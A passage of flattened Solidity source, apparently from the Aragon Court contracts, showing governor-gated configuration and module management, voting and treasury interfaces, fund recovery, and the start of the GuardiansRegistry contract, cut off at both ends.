address(target).call.value(msg.value)(msg.data); assembly { let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) let result := success switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } /** * @notice Change Court configuration params * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function setConfig( uint64 _fromTermId, IERC20 _feeToken, uint256[3] calldata _fees, uint64[5] calldata _roundStateDurations, uint16[2] calldata _pcts, uint64[4] calldata _roundParams, uint256[2] calldata _appealCollateralParams, uint256 _minActiveBalance ) external onlyConfigGovernor { uint64 currentTermId = _ensureCurrentTerm(); _setConfig( currentTermId, _fromTermId, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @notice Delay the Court start time to `_newFirstTermStartTime` * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function delayStartTime(uint64 _newFirstTermStartTime) external onlyConfigGovernor { _delayStartTime(_newFirstTermStartTime); } /** * @notice Change funds governor address to `_newFundsGovernor` * @param _newFundsGovernor Address of the new funds governor to be set */ function changeFundsGovernor(address _newFundsGovernor) external onlyFundsGovernor { require(_newFundsGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setFundsGovernor(_newFundsGovernor); } /** * @notice Change config governor address to `_newConfigGovernor` * @param _newConfigGovernor Address of the new config governor to be set */ function changeConfigGovernor(address _newConfigGovernor) external onlyConfigGovernor { require(_newConfigGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setConfigGovernor(_newConfigGovernor); } /** * @notice Change modules governor address to `_newModulesGovernor` * @param _newModulesGovernor Address of the new governor to be set */ function changeModulesGovernor(address _newModulesGovernor) external onlyModulesGovernor { require(_newModulesGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setModulesGovernor(_newModulesGovernor); } /** * @notice Remove the funds governor. Set the funds governor to the zero address. * @dev This action cannot be rolled back, once the funds governor has been unset, funds cannot be recovered from recoverable modules anymore */ function ejectFundsGovernor() external onlyFundsGovernor { _setFundsGovernor(ZERO_ADDRESS); } /** * @notice Remove the modules governor. Set the modules governor to the zero address. * @dev This action cannot be rolled back, once the modules governor has been unset, system modules cannot be changed anymore */ function ejectModulesGovernor() external onlyModulesGovernor { _setModulesGovernor(ZERO_ADDRESS); } /** * @notice Grant `_id` role to `_who` * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function grant(bytes32 _id, address _who) external onlyConfigGovernor { _grant(_id, _who); } /** * @notice Revoke `_id` role from `_who` * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function revoke(bytes32 _id, address _who) external onlyConfigGovernor { _revoke(_id, _who); } /** * @notice Freeze `_id` role * @param _id ID of the role to be frozen */ function freeze(bytes32 _id) external onlyConfigGovernor { _freeze(_id); } /** * @notice Enact a bulk list of ACL operations */ function bulk(BulkOp[] calldata _op, bytes32[] calldata _id, address[] calldata _who) external onlyConfigGovernor { _bulk(_op, _id, _who); } /** * @notice Set module `_id` to `_addr` * @param _id ID of the module to be set * @param _addr Address of the module to be set */ function setModule(bytes32 _id, address _addr) external onlyModulesGovernor { _setModule(_id, _addr); } /** * @notice Set and link many modules at once * @param _newModuleIds List of IDs of the new modules to be set * @param _newModuleAddresses List of addresses of the new modules to be set * @param _newModuleLinks List of IDs of the modules that will be linked in the new modules being set * @param _currentModulesToBeSynced List of addresses of current modules to be re-linked to the new modules being set */ function setModules( bytes32[] calldata _newModuleIds, address[] calldata _newModuleAddresses, bytes32[] calldata _newModuleLinks, address[] calldata _currentModulesToBeSynced ) external onlyModulesGovernor { // We only care about the modules being set, links are optional require(_newModuleIds.length == _newModuleAddresses.length, ERROR_INVALID_IMPLS_INPUT_LENGTH); // First set the addresses of the new modules or the modules to be updated for (uint256 i = 0; i < _newModuleIds.length; i++) { _setModule(_newModuleIds[i], _newModuleAddresses[i]); } // Then sync the links of the new modules based on the list of IDs specified (ideally the IDs of their dependencies) _syncModuleLinks(_newModuleAddresses, _newModuleLinks); // Finally sync the links of the existing modules to be synced to the new modules being set _syncModuleLinks(_currentModulesToBeSynced, _newModuleIds); } /** * @notice Sync modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules included in the sync */ function syncModuleLinks(address[] calldata _modulesToBeSynced, bytes32[] calldata _idsToBeSet) external onlyModulesGovernor { require(_idsToBeSet.length > 0 && _modulesToBeSynced.length > 0, ERROR_INVALID_IMPLS_INPUT_LENGTH); _syncModuleLinks(_modulesToBeSynced, _idsToBeSet); } /** * @notice Disable module `_addr` * @dev Current modules can be disabled to allow pausing the court. However, these can be enabled back again, see `enableModule` * @param _addr Address of the module to be disabled */ function disableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(!module.disabled, ERROR_MODULE_ALREADY_DISABLED); module.disabled = true; emit ModuleDisabled(module.id, _addr); } /** * @notice Enable module `_addr` * @param _addr Address of the module to be enabled */ function enableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(module.disabled, ERROR_MODULE_ALREADY_ENABLED); module.disabled = false; emit ModuleEnabled(module.id, _addr); } /** * @notice Set custom function `_sig` for `_target` * @param _sig Signature of the function to be set * @param _target Address of the target implementation to be registered for the given signature */ function setCustomFunction(bytes4 _sig, address _target) external onlyModulesGovernor { customFunctions[_sig] = _target; emit CustomFunctionSet(_sig, _target); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getConfigAt(_termId, lastEnsuredTermId); } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getDraftConfig(_termId, lastEnsuredTermId); } /** * @dev Tell the min active balance config at a certain term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getMinActiveBalance(_termId, lastEnsuredTermId); } /** * @dev Tell the address of the funds governor * @return Address of the funds governor */ function getFundsGovernor() external view returns (address) { return governor.funds; } /** * @dev Tell the address of the config governor * @return Address of the config governor */ function getConfigGovernor() external view returns (address) { return governor.config; } /** * @dev Tell the address of the modules governor * @return Address of the modules governor */ function getModulesGovernor() external view returns (address) { return governor.modules; } /** * @dev Tell if a given module is active * @param _id ID of the module to be checked * @param _addr Address of the module to be checked * @return True if the given module address has the requested ID and is enabled */ function isActive(bytes32 _id, address _addr) external view returns (bool) { Module storage module = allModules[_addr]; return module.id == _id && !module.disabled; } /** * @dev Tell the current ID and disable status of a module based on a given address * @param _addr Address of the requested module * @return id ID of the module being queried * @return disabled Whether the module has been disabled */ function getModuleByAddress(address _addr) external view returns (bytes32 id, bool disabled) { Module storage module = allModules[_addr]; id = module.id; disabled = module.disabled; } /** * @dev Tell the current address and disable status of a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function getModule(bytes32 _id) external view returns (address addr, bool disabled) { return _getModule(_id); } /** * @dev Tell the information for the current DisputeManager module * @return addr Current address of the DisputeManager module * @return disabled Whether the module has been disabled */ function getDisputeManager() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_DISPUTE_MANAGER); } /** * @dev Tell the information for the current GuardiansRegistry module * @return addr Current address of the GuardiansRegistry module * @return disabled Whether the module has been disabled */ function getGuardiansRegistry() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_GUARDIANS_REGISTRY); } /** * @dev Tell the information for the current Voting module * @return addr Current address of the Voting module * @return disabled Whether the module has been disabled */ function getVoting() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_VOTING); } /** * @dev Tell the information for the current PaymentsBook module * @return addr Current address of the PaymentsBook module * @return disabled Whether the module has been disabled */ function getPaymentsBook() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_PAYMENTS_BOOK); } /** * @dev Tell the information for the current Treasury module * @return addr Current address of the Treasury module * @return disabled Whether the module has been disabled */ function getTreasury() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_TREASURY); } /** * @dev Tell the target registered for a custom function * @param _sig Signature of the function being queried * @return Address of the target where the function call will be forwarded */ function getCustomFunction(bytes4 _sig) external view returns (address) { return customFunctions[_sig]; } /** * @dev Internal function to set the address of the funds governor * @param _newFundsGovernor Address of the new config governor to be set */ function _setFundsGovernor(address _newFundsGovernor) internal { emit FundsGovernorChanged(governor.funds, _newFundsGovernor); governor.funds = _newFundsGovernor; } /** * @dev Internal function to set the address of the config governor * @param _newConfigGovernor Address of the new config governor to be set */ function _setConfigGovernor(address _newConfigGovernor) internal { emit ConfigGovernorChanged(governor.config, _newConfigGovernor); governor.config = _newConfigGovernor; } /** * @dev Internal function to set the address of the modules governor * @param _newModulesGovernor Address of the new modules governor to be set */ function _setModulesGovernor(address _newModulesGovernor) internal { emit ModulesGovernorChanged(governor.modules, _newModulesGovernor); governor.modules = _newModulesGovernor; } /** * @dev Internal function to set an address as the current implementation for a module * Note that the disabled condition is not affected, if the module was not set before it will be enabled by default * @param _id Id of the module to be set * @param _addr Address of the module to be set */ function _setModule(bytes32 _id, address _addr) internal { require(isContract(_addr), ERROR_IMPLEMENTATION_NOT_CONTRACT); currentModules[_id] = _addr; allModules[_addr].id = _id; emit ModuleSet(_id, _addr); } /** * @dev Internal function to sync the modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules to be linked */ function _syncModuleLinks(address[] memory _modulesToBeSynced, bytes32[] memory _idsToBeSet) internal { address[] memory addressesToBeSet = new address[](_idsToBeSet.length); // Load the addresses associated with the requested module ids for (uint256 i = 0; i < _idsToBeSet.length; i++) { address moduleAddress = _getModuleAddress(_idsToBeSet[i]); Module storage module = allModules[moduleAddress]; _ensureModuleExists(module); addressesToBeSet[i] = moduleAddress; } // Update the links of all the requested modules for (uint256 j = 0; j < _modulesToBeSynced.length; j++) { IModulesLinker(_modulesToBeSynced[j]).linkModules(_idsToBeSet, addressesToBeSet); } } /** * @dev Internal function to notify when a term has been transitioned * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal { _ensureTermConfig(_termId); } /** * @dev Internal function to check if a module was set * @param _module Module to be checked */ function _ensureModuleExists(Module storage _module) internal view { require(_module.id != bytes32(0), ERROR_MODULE_NOT_SET); } /** * @dev Internal function to tell the information for a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function _getModule(bytes32 _id) internal view returns (address addr, bool disabled) { addr = _getModuleAddress(_id); disabled = _isModuleDisabled(addr); } /** * @dev Tell the current address for a module by ID * @param _id ID of the module being queried * @return Current address of the requested module */ function _getModuleAddress(bytes32 _id) internal view returns (address) { return currentModules[_id]; } /** * @dev Tell whether a module is disabled * @param _addr Address of the module being queried * @return True if the module is disabled, false otherwise */ function _isModuleDisabled(address _addr) internal view returns (bool) { return allModules[_addr].disabled; } } contract ConfigConsumer is CourtConfigData { /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig); /** * @dev Internal function to get the Court config for a certain term * @param _termId Identification number of the term querying the Court config of * @return Court config for the given term */ function _getConfigAt(uint64 _termId) internal view returns (Config memory) { (IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance) = _courtConfig().getConfig(_termId); Config memory config; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _roundParams[2], finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; return config; } /** * @dev Internal function to get the draft config for a given term * @param _termId Identification number of the term querying the draft config of * @return Draft config for the given term */ function _getDraftConfig(uint64 _termId) internal view returns (DraftConfig memory) { (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) = _courtConfig().getDraftConfig(_termId); return DraftConfig({ feeToken: feeToken, draftFee: draftFee, penaltyPct: penaltyPct }); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of guardian tokens that can be activated */ function _getMinActiveBalance(uint64 _termId) internal view returns (uint256) { return _courtConfig().getMinActiveBalance(_termId); } } /* * SPDX-License-Identifier: MIT */ interface ICRVotingOwner { /** * @dev Ensure votes can be committed for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for */ function ensureCanCommit(uint256 _voteId) external; /** * @dev Ensure a certain voter can commit votes for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of */ function ensureCanCommit(uint256 _voteId, address _voter) external; /** * @dev Ensure a certain voter can reveal votes for vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of * @return Weight of the requested guardian for the requested vote instance */ function ensureCanReveal(uint256 _voteId, address _voter) external returns (uint64); } /* * SPDX-License-Identifier: MIT */ interface ICRVoting { /** * @dev Create a new vote instance * @dev This function can only be called by the CRVoting owner * @param _voteId ID of the new vote instance to be created * @param _possibleOutcomes Number of possible outcomes for the new vote instance to be created */ function createVote(uint256 _voteId, uint8 _possibleOutcomes) external; /** * @dev Get the winning outcome of a vote instance * @param _voteId ID of the vote instance querying the winning outcome of * @return Winning outcome of the given vote instance or refused in case it's missing */ function getWinningOutcome(uint256 _voteId) external view returns (uint8); /** * @dev Get the tally of an outcome for a certain vote instance * @param _voteId ID of the vote instance querying the tally of * @param _outcome Outcome querying the tally of * @return Tally of the outcome being queried for the given vote instance */ function getOutcomeTally(uint256 _voteId, uint8 _outcome) external view returns (uint256); /** * @dev Tell whether an outcome is valid for a given vote instance or not * @param _voteId ID of the vote instance to check the outcome of * @param _outcome Outcome to check if valid or not * @return True if the given outcome is valid for the requested vote instance, false otherwise */ function isValidOutcome(uint256 _voteId, uint8 _outcome) external view returns (bool); /** * @dev Get the outcome voted by a voter for a certain vote instance * @param _voteId ID of the vote instance querying the outcome of * @param _voter Address of the voter querying the outcome of * @return Outcome of the voter for the given vote instance */ function getVoterOutcome(uint256 _voteId, address _voter) external view returns (uint8); /** * @dev Tell whether a voter voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to query if a voter voted in favor of a certain outcome * @param _outcome Outcome to query if the given voter voted in favor of * @param _voter Address of the voter to query if voted in favor of the given outcome * @return True if the given voter voted in favor of the given outcome, false otherwise */ function hasVotedInFavorOf(uint256 _voteId, uint8 _outcome, address _voter) external view returns (bool); /** * @dev Filter a list of voters based on whether they voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to be checked * @param _outcome Outcome to filter the list of voters of * @param _voters List of addresses of the voters to be filtered * @return List of results to tell whether a voter voted in favor of the given outcome or not */ function getVotersInFavorOf(uint256 _voteId, uint8 _outcome, address[] calldata _voters) external view returns (bool[] memory); } /* * SPDX-License-Identifier: MIT */ interface ITreasury { /** * @dev Assign a certain amount of tokens to an account * @param _token ERC20 token to be assigned * @param _to Address of the recipient that will be assigned the tokens to * @param _amount Amount of tokens to be assigned to the recipient */ function assign(IERC20 _token, address _to, uint256 _amount) external; /** * @dev Withdraw a certain amount of tokens * @param _token ERC20 token to be withdrawn * @param _from Address withdrawing the tokens from * @param _to Address of the recipient that will receive the tokens * @param _amount Amount of tokens to be withdrawn from the sender */ function withdraw(IERC20 _token, address _from, address _to, uint256 _amount) external; } /* * SPDX-License-Identifier: MIT */ interface IPaymentsBook { /** * @dev Pay an amount of tokens * @param _token Address of the token being paid * @param _amount Amount of tokens being paid * @param _payer Address paying on behalf of * @param _data Optional data */ function pay(address _token, uint256 _amount, address _payer, bytes calldata _data) external payable; } contract Controlled is IModulesLinker, IsContract, ModuleIds, ConfigConsumer { string private constant ERROR_MODULE_NOT_SET = "CTD_MODULE_NOT_SET"; string private constant ERROR_INVALID_MODULES_LINK_INPUT = "CTD_INVALID_MODULES_LINK_INPUT"; string private constant ERROR_CONTROLLER_NOT_CONTRACT = "CTD_CONTROLLER_NOT_CONTRACT"; string private constant ERROR_SENDER_NOT_ALLOWED = "CTD_SENDER_NOT_ALLOWED"; string private constant ERROR_SENDER_NOT_CONTROLLER = "CTD_SENDER_NOT_CONTROLLER"; string private constant ERROR_SENDER_NOT_CONFIG_GOVERNOR = "CTD_SENDER_NOT_CONFIG_GOVERNOR"; string private constant ERROR_SENDER_NOT_ACTIVE_VOTING = "CTD_SENDER_NOT_ACTIVE_VOTING"; string private constant ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER = "CTD_SEND_NOT_ACTIVE_DISPUTE_MGR"; string private constant ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER = "CTD_SEND_NOT_CURRENT_DISPUTE_MGR"; // Address of the controller Controller public controller; // List of modules linked indexed by ID mapping (bytes32 => address) public linkedModules; event ModuleLinked(bytes32 id, address addr); /** * @dev Ensure the msg.sender is the controller's config governor */ modifier onlyConfigGovernor { require(msg.sender == _configGovernor(), ERROR_SENDER_NOT_CONFIG_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the controller */ modifier onlyController() { require(msg.sender == address(controller), ERROR_SENDER_NOT_CONTROLLER); _; } /** * @dev Ensure the msg.sender is an active DisputeManager module */ modifier onlyActiveDisputeManager() { require(controller.isActive(MODULE_ID_DISPUTE_MANAGER, msg.sender), ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is the current DisputeManager module */ modifier onlyCurrentDisputeManager() { (address addr, bool disabled) = controller.getDisputeManager(); require(msg.sender == addr, ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER); require(!disabled, ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is an active Voting module */ modifier onlyActiveVoting() { require(controller.isActive(MODULE_ID_VOTING, msg.sender), ERROR_SENDER_NOT_ACTIVE_VOTING); _; } /** * @dev This modifier will check that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ modifier authenticateSender(address _user) { _authenticateSender(_user); _; } /** * @dev Constructor function * @param _controller Address of the controller */ constructor(Controller _controller) public { require(isContract(address(_controller)), ERROR_CONTROLLER_NOT_CONTRACT); controller = _controller; } /** * @notice Update the implementation links of a list of modules * @dev The controller is expected to ensure the given addresses are correct modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external onlyController { require(_ids.length == _addresses.length, ERROR_INVALID_MODULES_LINK_INPUT); for (uint256 i = 0; i < _ids.length; i++) { linkedModules[_ids[i]] = _addresses[i]; emit ModuleLinked(_ids[i], _addresses[i]); } } /** * @dev Internal function to ensure the Court term is up-to-date, it will try to update it if not * @return Identification number of the current Court term */ function _ensureCurrentTerm() internal returns (uint64) { return _clock().ensureCurrentTerm(); } /** * @dev Internal function to fetch the last ensured term ID of the Court * @return Identification number of the last ensured term */ function _getLastEnsuredTermId() internal view returns (uint64) { return _clock().getLastEnsuredTermId(); } /** * @dev Internal function to tell the current term identification number * @return Identification number of the current term */ function _getCurrentTermId() internal view returns (uint64) { return _clock().getCurrentTermId(); } /** * @dev Internal function to fetch the controller's config governor * @return Address of the controller's config governor */ function _configGovernor() internal view returns (address) { return controller.getConfigGovernor(); } /** * @dev Internal function to fetch the address of the DisputeManager module * @return Address of the DisputeManager module */ function _disputeManager() internal view returns (IDisputeManager) { return IDisputeManager(_getLinkedModule(MODULE_ID_DISPUTE_MANAGER)); } /** * @dev Internal function to fetch the address of the GuardianRegistry module implementation * @return Address of the GuardianRegistry module implementation */ function _guardiansRegistry() internal view returns (IGuardiansRegistry) { return IGuardiansRegistry(_getLinkedModule(MODULE_ID_GUARDIANS_REGISTRY)); } /** * @dev Internal function to fetch the address of the Voting module implementation * @return Address of the Voting module implementation */ function _voting() internal view returns (ICRVoting) { return ICRVoting(_getLinkedModule(MODULE_ID_VOTING)); } /** * @dev Internal function to fetch the address of the PaymentsBook module implementation * @return Address of the PaymentsBook module implementation */ function _paymentsBook() internal view returns (IPaymentsBook) { return IPaymentsBook(_getLinkedModule(MODULE_ID_PAYMENTS_BOOK)); } /** * @dev Internal function to fetch the address of the Treasury module implementation * @return Address of the Treasury module implementation */ function _treasury() internal view returns (ITreasury) { return ITreasury(_getLinkedModule(MODULE_ID_TREASURY)); } /** * @dev Internal function to tell the address linked for a module based on a given ID * @param _id ID of the module being queried * @return Linked address of the requested module */ function _getLinkedModule(bytes32 _id) internal view returns (address) { address module = linkedModules[_id]; require(module != address(0), ERROR_MODULE_NOT_SET); return module; } /** * @dev Internal function to fetch the address of the Clock module from the controller * @return Address of the Clock module */ function _clock() internal view returns (IClock) { return IClock(controller); } /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig) { return IConfig(controller); } /** * @dev Ensure that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ function _authenticateSender(address _user) internal view { require(_isSenderAllowed(_user), ERROR_SENDER_NOT_ALLOWED); } /** * @dev Tell whether the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of * @return True if the sender is the user to act on behalf of or someone with the required permission, false otherwise */ function _isSenderAllowed(address _user) internal view returns (bool) { return msg.sender == _user || _hasRole(msg.sender); } /** * @dev Tell whether an address holds the required permission to access the requested functionality * @param _addr Address being checked * @return True if the given address has the required permission to access the requested functionality, false otherwise */ function _hasRole(address _addr) internal view returns (bool) { bytes32 roleId = keccak256(abi.encodePacked(address(this), msg.sig)); return controller.hasRole(_addr, roleId); } } contract ControlledRecoverable is Controlled { using SafeERC20 for IERC20; string private constant ERROR_SENDER_NOT_FUNDS_GOVERNOR = "CTD_SENDER_NOT_FUNDS_GOVERNOR"; string private constant ERROR_INSUFFICIENT_RECOVER_FUNDS = "CTD_INSUFFICIENT_RECOVER_FUNDS"; string private constant ERROR_RECOVER_TOKEN_FUNDS_FAILED = "CTD_RECOVER_TOKEN_FUNDS_FAILED"; event RecoverFunds(address token, address recipient, uint256 balance); /** * @dev Ensure the msg.sender is the controller's funds governor */ modifier onlyFundsGovernor { require(msg.sender == controller.getFundsGovernor(), ERROR_SENDER_NOT_FUNDS_GOVERNOR); _; } /** * @notice Transfer all `_token` tokens to `_to` * @param _token Address of the token to be recovered * @param _to Address of the recipient that will be receive all the funds of the requested token */ function recoverFunds(address _token, address payable _to) external payable onlyFundsGovernor { uint256 balance; if (_token == address(0)) { balance = address(this).balance; require(_to.send(balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } else { balance = IERC20(_token).balanceOf(address(this)); require(balance > 0, ERROR_INSUFFICIENT_RECOVER_FUNDS); // No need to verify _token to be a contract as we have already checked the balance require(IERC20(_token).safeTransfer(_to, balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } emit RecoverFunds(_token, _to, balance); } } contract GuardiansRegistry is IGuardiansRegistry, ControlledRecoverable { using SafeERC20 for IERC20; using SafeMath for uint256; using PctHelpers for uint256; using HexSumTree for HexSumTree.Tree; using GuardiansTreeSortition for HexSumTree.Tree; string private constant ERROR_NOT_CONTRACT = "GR_NOT_CONTRACT"; string private constant ERROR_INVALID_ZERO_AMOUNT = "GR_INVALID_ZERO_AMOUNT"; string private constant ERROR_INVALID_ACTIVATION_AMOUNT = "GR_INVALID_ACTIVATION_AMOUNT"; string private constant ERROR_INVALID_DEACTIVATION_AMOUNT = "GR_INVALID_DEACTIVATION_AMOUNT"; string private constant ERROR_INVALID_LOCKED_AMOUNTS_LENGTH = "GR_INVALID_LOCKED_AMOUNTS_LEN"; string private constant ERROR_INVALID_REWARDED_GUARDIANS_LENGTH = "GR_INVALID_REWARD_GUARDIANS_LEN"; string private constant ERROR_ACTIVE_BALANCE_BELOW_MIN = "GR_ACTIVE_BALANCE_BELOW_MIN"; string private constant ERROR_NOT_ENOUGH_AVAILABLE_BALANCE = "GR_NOT_ENOUGH_AVAILABLE_BALANCE"; string private constant ERROR_CANNOT_REDUCE_DEACTIVATION_REQUEST = "GR_CANT_REDUCE_DEACTIVATION_REQ"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "GR_TOKEN_TRANSFER_FAILED"; string private constant ERROR_TOKEN_APPROVE_NOT_ALLOWED = "GR_TOKEN_APPROVE_NOT_ALLOWED"; string private constant ERROR_BAD_TOTAL_ACTIVE_BALANCE_LIMIT = "GR_BAD_TOTAL_ACTIVE_BAL_LIMIT"; string private constant ERROR_TOTAL_ACTIVE_BALANCE_EXCEEDED = "GR_TOTAL_ACTIVE_BALANCE_EXCEEDED"; string private constant ERROR_DEACTIVATION_AMOUNT_EXCEEDS_LOCK = "GR_DEACTIV_AMOUNT_EXCEEDS_LOCK"; string private constant ERROR_CANNOT_UNLOCK_ACTIVATION = "GR_CANNOT_UNLOCK_ACTIVATION"; string private constant ERROR_ZERO_LOCK_ACTIVATION = "GR_ZERO_LOCK_ACTIVATION"; string private constant ERROR_INVALID_UNLOCK_ACTIVATION_AMOUNT = "GR_INVALID_UNLOCK_ACTIVAT_AMOUNT"; string private constant ERROR_LOCK_MANAGER_NOT_ALLOWED = "GR_LOCK_MANAGER_NOT_ALLOWED"; string private constant ERROR_WITHDRAWALS_LOCK = "GR_WITHDRAWALS_LOCK"; // Address that will be used to burn guardian tokens address internal constant BURN_ACCOUNT = address(0x000000000000000000000000000000000000dEaD); // Maximum number of sortition iterations allowed per draft call uint256 internal constant MAX_DRAFT_ITERATIONS = 10; // "ERC20-lite" interface to provide help for tooling string public constant name = "Court Staked Aragon Network Token"; string public constant symbol = "sANT"; uint8 public constant decimals = 18; /** * @dev Guardians have three kind of balances, these are: * - active: tokens activated for the Court that can be locked in case the guardian is drafted * - locked: amount of active tokens that are locked for a draft * - available: tokens that are not activated for the Court and can be withdrawn by the guardian at any time * * 